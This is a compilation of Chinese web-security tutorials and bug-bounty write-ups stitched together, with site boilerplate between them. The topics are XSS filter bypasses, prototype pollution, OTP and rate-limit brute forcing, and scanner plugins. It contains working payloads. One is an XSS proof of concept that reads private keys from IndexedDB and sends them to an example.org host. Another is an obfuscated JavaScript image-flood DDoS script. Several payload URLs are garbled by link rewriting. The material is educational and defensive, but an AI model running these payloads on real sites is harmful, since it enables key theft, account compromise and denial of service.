原理就是str_ireplace()函数只找出了中间的script关键字,前面的S和后面的cript组合在一起,构成了新的Script关键字。
弹框成功!
0×03、使用preg_replace()函数进行正则表达式过滤script关键字
$nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST['nickname']);//昵称
显然,弹框失败。
攻击者如何再一次绕过?
答案是:用img标签的oneerror属性
<img src=https://xiaotua.com/103/x onerror=alert(1)>
0×04、过滤alert关键字
看到这里,不知道你烦了没有,以开发的角度来讲,我都有点烦。大黑阔你不是喜欢弹窗么?我过滤alert关键字看你怎么弹!
$nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST['nickname']);//昵称$nickname = preg_replace( "(.*)a(.*)l(.*)e(.*)r(.*)t/i", "", $nickname);//昵称
那么,攻击者该怎么办呢?
答案是:编码绕过
<a href="https://zhishitu.com/ke">
当点击页面上的超链接时,会弹框。
但是为什么呢?
这种编码方式为字符编码
字符编码:十进制、十六进制ASCII码或unicode 字符编码,样式为“&#数值;”, 例如“j”可以编码为“j”或“j ”
上述代码解码之后如下:
<a href="https://zhishitu.com/ke">
你能明显感觉到限制:由于使用到了a标签,所以只有点击时,才会弹框。
作为一个大黑阔,我们当然是不满意的,能不能让所有进入这个页面的人都弹框?
当然可以了:用iframe标签编码
<iframe src=https://xiaotua.com/103/javascript:alert(1)>
这种写法,同样既没有script关键字,又没有alert关键字。
可以看到弹框成功!
可是你也能看到,由于使用了iframe标签,留言板的样式已经变形了。实战中尽量不要用。
0×05、过滤特殊字符
优秀的开发,永不认输!你个小小的黑阔,不就是会插入js代码么?我过滤特殊字符,看你代码咋被解析?
可是我不想手撸代码来列举那么多特殊字符怎么办?
php给我们提供了htmlentities()函数:
$nickname = htmlentities(@$_POST['nickname']);//昵称
htmlentities()函数的作用是把字符转换为 HTML 实体。
看到这里,你可能还是不明白HTML字符实体是什么。我举个例子吧,当你想在HTML页面上显示一个小于号(<)时,浏览器会认为这是标签的一部分(因为所有标签都由大于号,标签名和小于号构成),因此,为了能在页面上显示这个小于号(<),我们引入了HTML字符实体的概念,能够在页面上显示类似于小于号(<)这样的特殊符号,而不会影响到页面标签的解析。
可以看到,我们输入的内容全部显示在页面上了。
可是却没有弹框。
我们鼠标右键,查看网页源代码
际上,我们输入的内容已经变成了HTML实体:
<iframe src=https://xiaotua.com/103/&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>
无法被解析为js脚本。
黑客在当前场景下已经无法攻击了(在某些其他场景,即使使用了htmlentities()函数,仍然是可以攻击的,这就不在本文讨论范围之内了)
0×06、总结
开发者不应该只考虑关键字的过滤,还应该考虑特殊符号的过滤 。
黑客在面对未知的情况时,要不断尝试,这对于知识的储备量有较高的要求。
对于xss攻击,站在开发者角度来讲,仅仅用一个htmlentities()函数基本可以做到防御,可是一个优秀的开发者应该明白它的原理。站在黑客的角度来讲,面对环境的逐步变化,条件的逐步限制,攻击思路灵活变化是对整个职业生涯有益的。
相关文章教程推荐:web服务器安全
以上就是一次存储型XSS的攻防实战的知识。速戳>>知识兔学习精品课!
背景
不久前,发布于荷兰某科技网站的一篇文章展示了一种新发布的在线服务,其声称利用该服务可通过Web方式实现用户端到端的文件请求传输。
和以前一样,因为我对这种安全加密实现非常感兴趣,所以看到这篇文章我就有种测试冲动了。文章声称这种通过web方式的文件请求是安全的,果真如此吗?该加密服务网站只介绍了几种使用RSA和AES私钥的本地端到端加密方法,并未深入对其具体的加密实现作出介绍,而且,其应用也不是开源的,所以难得从代码审计或白皮书说明去入手。
虽然该加密服务网站声称它们提供的服务绝对安全可靠,但我觉得任何人都会犯错,所以我决定深入测试分析一下。
在名称处发现存储型XSS漏洞
注册了账号之后,我就开始测试,不一会我就发现在账户名称和公司名称字段区域存在存储型XSS漏洞。该加密服务允许用户创建一个文件请求,该请求会生成一个链接,可以把该链接通过邮件形式发送给其它服务用户。收件用户收到该链接邮件后,打开邮件就能看到一个页面,在该页面中可以进行文件上传操作。用户创建的文件请求包含了用户在客户端用于文件加密的公钥信息。
这里的问题是,在这个文件请求生成的链接页面中,其用户名或公司名字段未经过滤处理,可以实现XSS Payload触发,如果在其中加入XSS Payload-<script>alert(‘Hi there!’);</script>,把相应文件请求链接发给其他用户后,当链接被打开会被执行XSS,如下:
也就是说,我们能在目标用户的系统中执行任意代码,干一些坏事,但如何来深入利用它呢?
获取目标用户本地私钥信息
该加密服务使用客户端非对称加密来保护用户文件,由于加密服务是通过网站的形式来部署的,所以其加密机制应该是通过JavaScript来调用实现的,也就是说,可以通过JavaScript来获取到本地的私钥信息。经分析发现,该加密服务把用户生成的私钥信息存储在本地的indexedDB数据库中,且不可通过网络发送。
用户私钥在此是保护用户加密文件的重要信息了,有了私钥才能解密使用其配对密钥加密的文件,必须好好保护私钥且不能分享给其他人。
你可能已经猜到了,我们可以在上述存在存储型XSS漏洞的名字字段内,通过变化Payload来获取用户私钥。我写了获取本地存储信息的代码,并层层筛选测试,最终有了以下获取本地用户私钥的代码:
var dbReq = indexedDB.open("companyname");dbReq.onsuccess = () => { var store = dbReq.result.transaction(["keys"]).objectStore("keys").get("52_private_key"); store.onsuccess = () => alert(store.result.pem);};
把这段代码嵌入名字字段,然后生成文件请求链接,打开该链接就能反弹显示用户的私钥信息:
从攻击者端收集受害者私钥信息
这样弹出用户私钥信息的方式可不好,我们得把它发送到我们控制的远程服务器上才行,是吧。为此,我尝试用POST方式把私钥信息发送到我控制的远程服务器上去。我遇到了第一个问题,上述存在XSS漏洞的名字区域最多只允许输入255个字符,但 JavaScript 的请求又非常冗长,所以需要尽量把代码简化。
但很快,我发现在服务应用中存在 jQuery,它允许发出非常简单和简短的Ajax请求,太好了。但最终却因为CORS的限制,我没能成功。
有人可能会说是因为我的远程服务器上没配置正确,但我确实把Access-Control-Allow-Origin设置成了*,还是不行,所以我只能估计是服务端CORS头配置的限制了。
但对于非Ajax请求来说,我发现在GET请求中,如果把数据放到URL后就是一种很好的传输方式,为此我选择了iframes方式的链接嵌入。把数据放到URL之后,如//example.com/?k=DATA,然后在请求生成的链接页面中隐蔽添加了一个iframes。受害者浏览器会加载该iframes框架,把数据回传给我,如:
$('body').append( '<iframe src=https://xiaotua.com/103/"//example.com/?k=' + btoa(JSON.stringify(secret_data)) + '" />');
用window.location.href方法让受害用户执行重定向跳转到攻击者页面,也是可行的,但这难免会引起怀疑。
就这样,我们就能远程收集获取到目标用户的私钥信息了!
Proof of Concept
经过测试,我把上述代码压缩,并填入我的远程服务器短域名,刚好是250个字符,低于255个最大字符的限制。完美!
<script>setTimeout(()=>indexedDB.open("companyname").onsuccess=(a)=>a.target.result.transaction(["keys"]).objectStore("keys").getAll().onsuccess=(b)=>$('body').append('<iframe src=https://xiaotua.com/103/"//example.org?k='+btoa(JSON.stringify(b.target.result))+'">'),1);</script>
参考以下POC视频:
https://uploads.timvisee.com/p/stealing-private-keys-from-secure-file-sharing-service-poc-video.webm
在我的远程服务器端,我用了一个简单的PHP脚本来收集上述传输回来的附加在URL后的目标用户数据,进行解析提取,会形成一个keys.txt文件进行存储。
总结
测试有效后,我及时联系了厂商,他们在15分钟就给了回复,经过一番讨论之后,他们在一个小时之内就及时修复了该漏洞。所以,我的经验是,别单单根据网站或厂商的说明去相信一项服务的安全性,安全的前提须基于以下因素:
运行有一段时间;
是开源的;
经过现实应用的考验;
经过多方参与的安全审计;
只有经过深入的研究和审查才能声称是安全的;
或者由其它可信安全的第三方托管运行。
相关文章教程推荐:web服务器安全教程
以上就是通过存储型XSS漏洞获取目标用户本地私钥信息的知识。速戳>>知识兔学习精品课!
Chrome 插件
Chrome 插件是向 Chrome 浏览器添加或修改功能的浏览器拓展程序。一般通过 JavaScript, HTML 以及 CSS 就可以编写 Chrome 插件了。市面上有很多非常优秀的 Chrome 插件拥有非常多的用户。Chrome 插件的编写也比较简单,基本上你熟悉一点前端知识,然后熟悉一下 Chrome 插件的 API,你就可以编写 Chrome 插件。
Chrome 插件的安装,如果你没有发布在 Chrome 商店的话(因为网络原因,可能没办法直接从商店下载),可以通过开发者模式安装 Chrome 插件。或者你也可以注册 Chrome 插件的开发者账号(只需要 5 美元,就可以发布 20 个插件)。
简单地介绍了一下 Chrome 插件的开发,咱们主要还是聊一下关于 Chrome 插件关于被动扫描器的方面的内容。对于 Chrome 插件,主要是通过插件的能力去获取经过浏览器的流量,并将流量转发给后端来进行处理。
Chrome 插件关于网络流量的处理地 API 主要有两个:chrome.devtools.network 以及 chrome.webRequest。但是前者使用的时候需要打开 Chrome 开发者工具,这个有一点不太方面,所以选择了后者,这也是对于被动流量获取一种常见的方式。
Chrome 插件中的 webrequest API 是以相应的事件驱动的,其中请求的生命周期图如下,主要有7个事件。只需要监听关键事件进行处理就可以满足被动扫描器获取流量的需求了。
其实这些事件不难理解,基本通过事件的名称就可以知道事件的含义了,主要就是请求发送前,发送请求头之前,发送请求头等等事件。对于不同的事件,可以获取的流量数据也是不尽相同的。
首先,考虑一下,对于被动扫描器来说,哪些流量数据是比较关心的。被动扫描器主要是通过收集业务的正常流量来进行测试,提高测试的效率,并能取得比主动扫描器更好的效果。那么一般来说,被动扫描器最关心的就是请求的 URL 以及请求头了,如果是 POST 请求,还需要请求体。对于扫描器来说,响应头和响应体则没那么重要,其实可以通过响应状态过滤一下,一般只需要能够正常响应的请求头以及请求体即可。
对于被动扫描器上述的需求,chrome.webrequest 中的 onBeforeRequest 以及 onSendHeaders 这两个事件可以满足需求。通过前者,可以获取请求体。通过后者则可以获取请求头。不过在使用 onSendHeaders 的时候,有好几点需要注意:
兼容问题
从 Chrome 79 开始,必须要在 opt_extraInfoSpec 中指定 extraHeaders 才可以获取 Origin 请求头。从 Chrome 72 开始,必须要在 opt_extraInfoSpec 中指定 extraHeaders 才可以获取 以下请求头:
毫无疑问,这些请求头都是有价值的。为了获取这些请求头,你必须在 opt_extraInfoSpec 中指定 extraHeaders 才可以获取相应的请求头。同时,注意做兼容性检查,因为之前的版本的是不需要指定的,如果你在之前版本的浏览器也指定了属性,就会产生报错。
const headers = version >= 72 ? ["requestHeaders", "extraHeaders"] : ["requestHeaders"];chrome.webRequest.onSendHeaders.addListener(beforeSendHeaderHandler, requestFilters, headers)
requestBody 的格式问题
可以通过 onBeforeRequest 事件来获取 POST 请求中的请求体。但有一点注意,chrome.webrequest 中把请求体进行了解析,所以你获取的不是原生的请求体。请求体位于 requestBody 中的 fromData,而 formData 其实是有两种形式,一种是键值对形式的字典,这种一般对于请求体类型为 multipart/form-data 或者 application/x-www-form-urlencoded 而言,一般即为 a=xxx&b=xxx&c=xxx 这种形式;另外一种则是原生的字节,这个官方的 API 文档没有直接提到,你需要自己手工解析数据。
const postbody = decodeURIComponent(String.fromCharCode.apply(null, new Uint8Array(details.requestBody.raw[0].bytes)));
使用 RequestFilter 去过滤请求
如果你希望在事件中可以过滤特定的请求地址或者请求的资源类型,那么就可能需要使用到 RequestFilter 了。RequestFilter 里面有4个属性,比较重要的属性就是 urls 以及 types,通过这两个属性就可以过滤特定的请求 URL 以及资源类型。
但是注意一点是,RequestFilter 是在注册事件的时候配置的参数的,不可以后续直接修改。不过有一种方法是先移除监听事件,再添加新的事件。
if (!chrome.webRequest.onSendHeaders.hasListener(beforeSendHeaderHandler)) { chrome.webRequest.onSendHeaders.addListener( beforeSendHeaderHandler, requestFilters, headers )}
Burp 插件篇
Burp 是渗透测试中不可缺少的工具之一,而 Burp 插件也让测试者如虎添翼,达到事半功倍的效果。同时,开发 Burp 插件也是为了弥补一些系统无法在 Chrome 中使用的场景来进一步地补充。
Burp 插件开发的资料网上不是特别的丰富,之前也写过一篇文章“如何写一个 Burp 插件”。其实开发 Burp 插件比较简单,只要遵守基本的规范,然后学习一下 API 的使用,基本就可以完成 Burp 插件的开发了。反倒是如果希望在 Burp 插件中开发 GUI 有点困难,因为使用 J**A 来写 GUI 比较麻烦,毕竟不能像 C# 那样,妥妥拽拽就搞定了,不过这也不是本文的重点。
其实在 Burp 中的 Extender 标签页中的 APIs 就可以看到提供的 API 接口。基本上每个函数都有参数说明的注释,不过其实学习 Burp 插件的最好的方法就是拿一个现成的插件代码看一下,就可以很好地理解这些 API 的作用了。
public interface IHttpListener{ /** * This method is invoked when an HTTP request is about to be issued, and * when an HTTP response has been received. * * @param toolFlag A flag indicating the Burp tool that issued the request. * Burp tool flags are defined in the * <code>IBurpExtenderCallbacks</code> interface. * @param messageIsRequest Flags whether the method is being invoked for a * request or response. * @param messageInfo Details of the request / response to be processed. * Extensions can call the setter methods on this object to update the * current message and so modify Burp's behavior. */ void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo);}
在这,以我开发的 Burp 插件 r-forwarder-burp 为例,使用 J**A 开发。在开发 Burp 插件需要注意几点。必须定义一个 BurpExtender 类,并且必须实现 IBurpExtender,如果还需要其他 API 可以实现多个其它接口,J**A 中的类是可以实现多个接口的。另外还需要重写父类中的 registerExtenderCallbacks 方法。同样,针对被动扫描器的需求,在 Burp 插件中我们最主要涉及的接口是 IHttpListener 接口。这个主要涉及到 HTTP
在 processHttpMessage 方法中,主要涉及到以上3个参数。toolFlag 主要指的是和请求相关的 Burp 工具,比如 Proxy 以及 Repeater。可以在 IBurpExtenderCallbacks 接口中看到相应的定义。
messageIsRequest 则表示是请求还是响应,而我们只关心请求部分。通过解析 messageInfo 则可以获取请求头以及请求体数据。
public Map<String, String> getHeaders(IHttpRequestResponse messageInfo) { Map<String, String> headers = new HashMap<>(); IRequestInfo analyzeRequest = helpers.analyzeRequest(messageInfo); List<String> h = analyzeRequest.getHeaders(); for (String h1: h) { if (h1.startsWith("GET") || h1.startsWith("POST")) { continue; } else { String[] header = h1.split(":", 2); headers.put(header[0], header[1].trim()); } } return headers;}private String getBody(IHttpRequestResponse messageInfo) { IRequestInfo requestInfo = helpers.analyzeRequest(messageInfo); int bodyOffset = requestInfo.getBodyOffset(); byte[] byteRequest = messageInfo.getRequest(); byte[] byteBody = Arrays.copyOfRange(byteRequest, bodyOffset, byteRequest.length); return new String(byteBody);}
上面是简单开发的内容方面的介绍,其它方面可以直接看源代码了解更多,尤其是 GUI 开发的部分。另外想说明的一点就是如何打 jar 包。通过 maven-assembly-plugin 插件可以很方便地打包,只需要配置如下,然后通过 mvn package 即可进行打包。
<plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-assembly-plugin</artifactId> <executions> <execution> <phase>package</phase> <goals> <goal>single</goal> </goals> </execution> </executions> <configuration> <descriptorRefs> <descriptorRef>jar-with-dependencies</descriptorRef> </descriptorRefs> </configuration></plugin>
另外注意如果使用了外部依赖的时候,需要配置 jar-with-dependencies,这样在打包的时候就可以把依赖的 jar 包一并打进去。最后,成品的 jar 包安装之后就可以使用了。
其实,我认为在 Burp 插件开发过程中最重要的部分就是调试了。通过调试可以快速提高开发效率。以 IDE IDEA 为例,只需要以下几步就可以进行插件开发地调试:
1.配置 debug 配置项,点击 IDE 右上角就可以新增配置项。
在终端中通过上述的配置项启动 burp 插件。
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar burpsuite_community_v2.1.0.jar
2.在 Burp 中通过上面的方式安装打包好的插件。
3.在 IDE 中相应的代码打上断点,并打开 debug 就可以进行调试了。
总结
以上就是在开发被动扫描器 Chrome 插件以及 Burp 插件遇到的一些坑,在这里和大家分享一下。其实被动扫描器开发,最重要的还是一些细节方面的考虑,可以将插件的功能做到更完美。
相关文章教程推荐:web服务器安全教程
以上就是关于开发被动扫描器插件遇到的一些问题的详解的知识。速戳>>知识兔学习精品课!
最古老、最普遍、却又最可怕的攻击非DDoS攻击莫属。
在传统的DDoS攻击中,攻击者会控制大量的傀儡机,然后向目标服务器发送大量请求,阻止合法用户访问网站。
然而,最近几年DDoS攻击技术不断推陈出新:攻击者用一种新型且很有趣的方式欺骗用户参与到攻击活动中:使用恶意的JavaScript欺骗用户参与DDoS攻击。
基于JavaScript的DDOS攻击有一个非比寻常的特点:任何有浏览器的设备都可能参与攻击,其潜在攻击规模接近无限。
基于JavaScript的DDOS攻击原理
现代网站的交互作用大多数都是采用JavaScript。JavaScript脚本可直接注入HTML中,或者通过 <script src=https://xiaotua.com/103/”"> HTML从远程服务器载入。
该脚本会在目标网页上生成一个图片按钮,图片按钮会指向“’victim-website.com” 网站。只要用户访问了含有该脚本的网页,那么他就会成为 “’victim-website.com”DDoS攻击中的一员。浏览器发出的每一个请求都是有效请求,于是该攻击又变成了Layer 7 攻击。
由于是JS代码,所以通过查看网页源码,可以直接的看到攻击代码,发现是攻击网页。但如果以上的代码经过JShaman的混淆,JS代码会被保护起来,更难以被识别和发现:
var _0x9ea1=['victim\x2dwebsite\x2ecom','\x2findex\x2ephp\x3f','floor','random','src','http\x3a\x2f\x2f','\x3dval'];(function(_0xa439d7,_0x7a3f17){var _0x2fcd4b=function(_0x1be501){while(--_0x1be501){_0xa439d7['\x70\x75\x73\x68'](_0xa439d7['\x73\x68\x69\x66\x74']());}};_0x2fcd4b(++_0x7a3f17);}(_0x9ea1,0xa1));var _0x19ea=function(_0x3ac308,_0x2c1ecf){_0x3ac308=_0x3ac308-0x0;var _0x=_0x9ea1[_0x3ac308];return _0x;};function imgflood(){var _0xcb2cd4=_0x19ea('0x0');var _0x3d1bbb=_0x19ea('0x1');var _0x=new Image();var _0x2dfc3a=Math[_0x19ea('0x2')](Math[_0x19ea('0x3')]()*0x3e8);_0x[_0x19ea('0x4')]=_0x19ea('0x5')+_0xcb2cd4+_0x3d1bbb+_0x2dfc3a+_0x19ea('0x6');}setInterval(imgflood,0xa);
如果攻击者入侵了一个网站,在网站js文件中嵌入了类似上面的恶意JavaScript脚本,那么该网站的每一个访客都将成为DDoS攻击中的一员。网站流量越高就意味着DDoS越严重。
如何防止这种攻击?
目前HTTP还没有相关的机制来阻止该脚本的运行,但W3C已经提出了名叫子资源完整性(SRI)的新功能,使用加密哈希值验证脚本,如果哈希值不匹配浏览器可以阻止其运行。
例如,如下脚本标签:
<script src=https://xiaotua.com/103/"https://code.jquery.com/jquery-1.10.2.min.js">
浏览器会自动下载该.js文件,并且会不分青红皂白的运行它。即使该文件中被攻击者注入了恶意脚本,浏览器也不会识别(也识别不出)。然而如果网站发现了哈希值验证脚本不匹配,子资源完整性(SRI)会告诉浏览器不要运行该脚本。
建议网站管理员将添加这一标签添加到服务器上,用以保护其用户不被利用。
推荐相关教程:web服务器安全
以上就是深度剖析基于JavaScript的DDOS攻击的知识。速戳>>知识兔学习精品课!
一、AWS S3存储桶的错误配置致使数百万个人信息(PII)可被获取
起初我在测试目标网站的时候,未发现任何高风险漏洞,经过近一个小时的探测分析,我发现存在一些无关紧要的IDOR和XSS漏洞,没有高危漏洞。正当我打算要放弃的时候,我发现目标网站使用了Amazon Cloudfront服务来存储公共图片,其存储 URL链接形如以下:
一开始,我认为这只是一个开放的在线数据服务,我随手访问了网站,发现其中存储了一些公开的图片文件,但是….,我惊讶地发现,除了这些图片文件之外,其中还存储了一些敏感的个人数据信息,如:语音聊天内容、音频通话内容、短信内容和其它用户隐私文件。
要命的是,这些敏感文件中的存储内容几乎都是病人与医生之间的谈话信息。
由于该公司的不同域名对应不同的AWS存储桶,因此我转向去发现其它域名的公共图片存储,果不其然,它对应的每个存储桶中都存储有成千的个人数据信息,当时我没做具体核算,后期经了解该公司客户达数百万。以下是其一张包含个人信息的图例:
我及时上报给目标公司后,他们在一小时之内及时进行了修复,并奖励了我$2500+$500的奖励。
二、可登录访问的管理员账户导致商业合作伙伴公司详细信息泄露
这是一家跨国公司网站,其中存在一个存储型XSS,由此我获得了网站的管理员账户token并深入测试获得了公司合作伙伴企业的详细信息。
我在该公司网站的数据格式页面中发现了存储型XSS漏洞,其格式化数据存储在本地的管理员账户中,所以我用了XSSHunter的内置 Payload形成触发反弹,当管理员触发Payload之后,就会把我想要的数据发送给我:
上报了该漏洞之后,我获得了$1250的奖励。
相关文章教程推荐:web服务器安全
以上就是AWS S3存储桶错误配置——百万个人信息泄露的知识。速戳>>知识兔学习精品课!
今天分享的这篇Writeup是作者在参与漏洞众测中,针对目标系统的动态口令OTP (One Time Password),通过利用简单的暴力枚举方法,实现了对目标系统双因素验证机制2FA (Two-Factor Authentication)的绕过或破解。目标系统是印度最大的旅行服务公司网站,其采用了动态口令OTP作为双因素验证2FA的实现手段。
通常来说,OTP是从0000到9999的4位数组合,假如OTP有一万种可能性的组合,在如今强大的计算机时代,处理种组合也只需几分钟的时间。所以,如果OTP的验证机制不当,任何人都可以通过简单的暴力枚举来绕过它。
为什么我可以绕过2FA?
目标系统对不成功的请求尝试不作速率限制。
目标系统对不成功的请求尝试没有新的动态口令措施。
前提准备:
Web浏览器、BurpSuite。
绕过2FA的复现过程
绕过2FA的复现过程
1、开启BurpSuite,使用手机号码登录目标系统网站,这里,故意输错系统发送到你手机中的动态OTP(这里我们随便输入1234),然后用BurpSuite捕获流量;
从BurpSuite中我们可以看到OTP API的相关信息 – verifyOTP?otp=:
2、把这次OTP的发送过程右键 Send to intruder:
3、选择otp=1234占位符,并把它设置为简单暴力枚举变量方式:
4、选择Payload标签项,把其修改为任意形式的组合,然后点击attack:
5、攻击开始。从枚举响应结果中,我们可以看到一个长度为2250的异常响应,不出意外,就是它了:
6、 用该OTP配合登录,可以成功有效!
相关教程推荐:web服务器安全
以上就是简单暴力枚举法绕过目标系统2FA验证机制的实验的知识。速戳>>知识兔学习精品课!
本文分享的是通过IP轮换结合暴力破解方法禁用Facebook新创建的未确认用户,此前在2014年Facebook曾针对该漏洞做过修复,但是由于修复策略不够完善,导致可以用IP轮换方法再次绕过这种防护,形成对任意新创建未确认Facebook用户的间接禁用攻击。
早前的账户创建确认漏洞
在2014年Facebook曾针对该漏洞做过修复。
当时的漏洞情况是这样的:如果你用个人邮箱注册一个Facebook账户,创建完成之后,Facebook会向你的邮箱发送一个5位数确认码邮件,但出于个人邮箱被恶意注册的安全原因考虑,Facebook还会在邮件末尾附加上一个“未曾注册过Facebook”的选项按钮,以便让那些个人邮箱被恶意注册的用户提交上报Facebook。
如下:
提交之后,会产生以下链接:
https://www.facebook.com/confirmemail.php?e=该邮件地址已受到反垃圾邮件插件保护。要显示它需要在浏览器中启用 JavaScript。&c=5-DIGIT-CODE&report=1
移动端对应的是:
https://m.facebook.com/confirmemail.php?e=该邮件地址已受到反垃圾邮件插件保护。要显示它需要在浏览器中启用 JavaScript。&c=5-DIGIT-CODE&report=1&message=1
漏洞原因在于,其中的 c 参数,也就是Facebook发送过来的一个5位数确认码,可以被攻击者暴力破解猜测到,因此可导致攻击者用此种方式去禁用任何未及时确认的Facebook新注册账户。该漏洞已于2014年10月被Facebook修复。
现在存在的问题
通过测试分析,作者发现该路径下设置了访问频率限制(Rate limit),针对5位数确认码做暴力猜解时会被Facebook阻拦掉。如下:
我猜想Facebook之前的修复策略如果是基于IP的限制方法的话,我可以通过变换IP地址来进行暴力猜解啊。果然,当我变换新的IP地址再进行进行暴力猜解之后,Facebook完全不会实施阻拦。
为了更顺利的实施这种暴力猜解工作,需要对每次请求的IP地址都做出变化,也即IP轮换。为了综合利用IP轮换+暴力猜解,我谷歌了一些在线资料,并最终用Luminati+Burp搭建了一个测试环境,完美绕过了Facebook后端限制,并有效地猜测出Facebook5位数确认码,实现对Facebook未确认账户的禁用。
漏洞影响
1、对于受害者用户来说,如果攻击者以此方式禁用了它的Facebook账户,那么由于其邮箱地址已经被Facebook列入黑名单,所以受害者在今后就无法用该邮箱注册Facebook账户了;
2、另外,如果攻击者知道受害者用户的确切注册邮箱,即使用户已经经过了Facebook确认,但一样能通过此种方式去举报受害者用户邮箱,形成账户滥用提交,后期可由Facebook对受害者的Facebook账户实现禁用,整个过程无需与用户进行任何交互。
漏洞上报及处理进程
2019.6.30 : 漏洞初报2019.7.3 : Facebook深入确认2019.8.23: Facebook完成修复2019.8.23 : Facebook奖励了$1000
相关文章教程推荐:web服务器安全
以上就是功能强大的IP轮换与暴力猜解技术的知识。速戳>>知识兔学习精品课!
背景
在分析日志的时候发现有些日志中参数中包含其他的URL,例如:
提取请求参数中的URL(xss.ha.ckers.org),再对比威胁情报数据库,如果命中黑名单直接标黑。如果不在黑名单,也不在公司的白名单里可以先做个标记,后续着重分析。
提取URL
关于URL的提取网上有很多文章,大部分都是是使用正则表达式,方法简单但是不太准确。我这里提供一种方法:采用词法分析,提取域名和IP。思路借鉴了这篇文章:https://blog.csdn.net/breaksoftware/article/details/,有兴趣的可以去看看,事实证明跟着大神确实涨姿势。
原文是用C++版本,这里我用Python写了一个类似的,供大家参考。
常见的URL分类
观察可以见得:IP形式的URL结构最为简单:4个小于255的数字被.分割;domain形式比较复杂,但是它们有共性:都具有顶级域名.com。
定义合法字符:
顶级域名列表:
域名形式提取:如。
IP形式提取:如192.168.1.1。
while (i < len(z) and z[i].isdigit()): i = i + 1 ip_v1 = True reti = i if i < len(z) and z[i] == '.': i = i + 1 reti = i else: tokenType = TK_OTHER reti = 1while (i < len(z) and z[i].isdigit()): i = i + 1 ip_v2 = True if i < len(z) and z[i] == '.': i = i + 1 else: if tokenType != TK_DOMAIN: tokenType = TK_OTHER reti = 1while (i < len(z) and z[i].isdigit()): i = i + 1 ip_v3 = True if i < len(z) and z[i] == '.': i = i + 1 else: if tokenType != TK_DOMAIN: tokenType = TK_OTHER reti = 1while (i < len(z) and z[i].isdigit()): i = i + 1 ip_v4 = True if i < len(z) and z[i] == ':': i = i + 1 while (i < len(z) and z[i].isdigit()): i = i + 1 if ip_v1 and ip_v2 and ip_v3 and ip_v4: self.urls.append(z[0:i]) return reti, tokenType else: if tokenType != TK_DOMAIN: tokenType = TK_OTHER reti = 1
混合形式提取:如1234.com。扫描前半部分1234,符合IP形式的特征,但是发现代码会报异常,所以需要IP处理代码段添加判断:判断后缀是否是顶级域名:
结果测试
测试数据:
运行结果:
这只是个初步的版本,如果有BUG欢迎大家指正。
结束语
以前只顾着闷着头的写代码,忽略了事后的思考和总结。现在尝试着改变一下,一边工作,一边提炼和总结,遇到感觉不错的,尝试写成工具开源出来,与大家共勉。
代码传送门:
https://github.com/skskevin/UrlDetect/blob/master/tool/domainExtract/domainExtract.py
相关文章教程推荐:web服务器安全
以上就是采用词法分析提取域名和IP的知识。速戳>>知识兔学习精品课!
在讲这个漏洞之前我们来理解一下Javascript。与其他的语言不同的是,Js在Es6之前是没有class的,他更多的是一个原型语言,在Js里有一句话很有名——“一切皆对象”。
什么是原型语言
1.只有对象,没有类;对象继承对象,而不是类继承类。
2.“原型对象”是核心概念。原型对象是新对象的模板,它将自身的属性共享给新对象。一个对象不但可以享有自己创建时和运行时定义的属性,而且可以享有原型对象的属性。
3.每一个对象都有自己的原型对象,所有对象构成一个树状的层级系统。root节点的顶层对象是一个语言原生的对象,只有它没有原型对象,其他所有对象都直接或间接继承它的属性。
关于Function.prototype和Object.__proto__
1.对象有__proto__属性,函数有prototype属性;
2.对象由函数生成;
3.生成对象时,对象的__proto__属性指向函数的prototype属性。
在没有手动修改__proto__属性的指向时,以上三条便是JavaScript默认原型链指向逻辑。如果要更形象的去理解这个就可以看下下图的这个结构:
什么是JavaScript原型链污染
原型链污染来自一个CVE(https://github.com/jquery/jquery/pull/4333),这个CVE是一个在jquery中修复的漏洞,但是这个漏洞广义的推广的话,受影响的范围应该是一切使用了ecmascript的应用,无论前后端。关于这个漏洞,是修复了jQuery的方法,在jQuery中,这个方法用于将一个或多个对象的内容合并到目标对象。所以你永远不知道有不有人会不会写出一些类似以下的代码
当我们可控$.extend的参数的时候,我们就可以覆盖对象的__proto__或者prototype方法从而控制整个原型链的最顶端的方法,重写该方法将覆盖子对象或者函数的方法,从而导致污染原本的方法意图。
在npmjs官方搜下对象操作的库可以看到一大堆,例如“”、 “”、 “”、 “”、 “”。假如一些应用使用了这些方法,但是对参数没做任何处理。
漏洞范围影响
提出这个Javascript原型链污染攻击的作者写了一个pdf,在该pdf中,作者不仅做了漏洞的成因分析,还针对此漏洞做了受害范围分析,他在github上搜索了部分的组件,这些组件都是可以操作对象,一般都是对象合并操作的,较为底层,因此也会有大量的应用基于这些组件。例如“hoek”,“lodash”,“defaults-deep”等修复了这个原型链污染的可能性,当然还有一些组件他没统计到,例如“xtend”之类的,光weekly download的数量就有“12,097,425”。
笔者在npm上搜索了基于xtend的一些应用,找到一个language-exec这样的一个组件。这个组件是一个基于xtend的,不过这个组件好像年久失修而且没啥人用,看了源代码其中就有这样的一句话
可以看到类似的写法都是存在问题的(主要是我没找到具体的基于xtend的受影响应用)。
所以基于这个,大家不是有了刷CVE的思路了?没错…只要你敢花时间去爬全部的dependence就可以有机会获得javascript pollution attack CVE。
案例一远程命令执行
作者在github上搜到了一款叫做ghost cms的应用,当然这个漏洞已经修复,当黑客发送以下请求即可实现控制任意方法或者对象的任意属性。当然也就是rce了
在一切皆对象的JavaScript中,所有对象都可以调用toString和valueOf方法,当你通过__proto__重写这2个方法的时候,就容易在express等web框架中产生dos,导致服务无法正常运行。类似以下的写法就容易产生拒绝服务。
案例二DOS
在一切皆对象的JavaScript中,所有对象都可以调用toString和valueOf方法,当你通过__proto__重写这2个方法的时候,就容易在express等web框架中产生dos,导致服务无法正常运行。类似以下的写法就容易产生拒绝服务
案例三任意文件读取
如果你可以通过污染原型链来重写一些“私有属性”的话(Javascript没有私有属性),可能可以重写那些在WEB中用来定义渲染模板文件的属性值,就有可能产生任意文件读取了,如以下这个图片:
如何防御
在这里我们了解下这类攻击,如何从代码上更安全的编写,更好的防御这类漏洞。漏洞发现的作者给出了2个解决方案,先来看看我是如何防御的。
